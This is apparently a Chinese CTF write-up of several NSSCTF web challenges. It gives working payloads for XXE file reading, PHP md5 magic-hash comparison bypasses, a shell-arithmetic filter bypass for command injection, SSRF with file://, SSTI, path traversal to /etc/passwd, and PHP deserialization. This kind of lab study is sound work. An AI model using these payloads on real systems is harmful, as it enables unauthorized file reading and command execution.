好像有好多题目还没上传,现写上传了的
exx
经典带回显xxe漏洞
照抄payload:
<?xml version="1.0"?>
<!DOCTYPE as [
<!ENTITY f SYSTEM "file:///flag">]>
<user><username>admin&f;</username><password></password></user>
值得注意的是,需要带file伪协议否则带不出来

百万美元的诱惑
源代码
<?php
error_reporting(0);
$a = $_GET['a'];
$b = $_GET['b'];
$c = $_GET['c'];
if ($a !== $b && md5($a) == md5($b)) {
if (!is_numeric($c) && $c > 2024) {
echo "好康的";
} else {
die("干巴爹干巴爹先辈~");
}
}
else {
die("开胃小菜))");
}
重点是:
if ($a !== $b && md5($a) == md5($b)) {
if (!is_numeric($c) && $c > 2024) {
第一段做了一个判断,很明显需要做md5碰撞ab传参分别是a=QNKCDZO&b=240610708,第二个使用了is_numeric()函数判断不是数字的同时需要他大于2024,查了一下可以借url编码中的空字符绕过
最后得到
?a=QNKCDZO&b=240610708&c=2025%20

得到一个文件名字./dollar.php,访问是下一模块
<?php
//flag in 12.php
error_reporting(0);
if(isset($_GET['x'])){
$x = $_GET['x'];
if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
system("cat ".$x.".php");
}
}else{
highlight_file(__FILE__);
}
?>
看的出来通过preg_match过滤的大部分的字符,在网上查了一圈发现了一个神奇的方法,利用$()这三个字符就可以组成,逻辑大致如下
$(( ~$(( )) )) == -1
$(( $(( ~$(( )) )) $(( ~$(( )) )) )) == $((-1 -1)) = -2
$(( ~$(( $(( ~$(( )) )) $(( ~$(( )) )) )) )) == 取反$((-1 -1)) == $((~$((-1 -1)))) == 1
$(( ~$(( $(( ~$(( )) )) $(( ~$(( )) )) $(( ~$(( )) )) )) )) == $((~$((-1 -1 -1)))) == 2
知道以上逻辑后就可以构建出以下的这两个payload
$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))))))
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
分别输出一个1一个2组成12,第二个直接输出12

浏览器也能套娃?
打开是一个浏览器,能正常访问页面,尝试输入127.0.0.1,发现也能访问,应该是ssrf,取flag尝试file伪协议


file:///flag
NSSCTF{0a8c013a-fe5a-4cc2-96e9-d3465ebeedf8}
…
一个….池子?
这是一题ssti,之前确实没有接触过的,测试直接使用{{1+1}},返回2确定
使用焚靖梭哈

得到flag
高亮主题(划掉)背景查看器
post抓包

有个传参
查查看

payload:
../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../flag

SAS - Serializing Authentication

反序列化
源码是
<?php
class User {
public $username;
public $password;
function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; }
}
?>
对序列化了解不多,查了一圈,构建大概是
class User{
public $username;
public $password;
}
$a=new User();
$a->username="admin"
$a->password="secure_password"
echo base64_encode(serialize($a))
传入的信息在被base64解码后才会unserialize
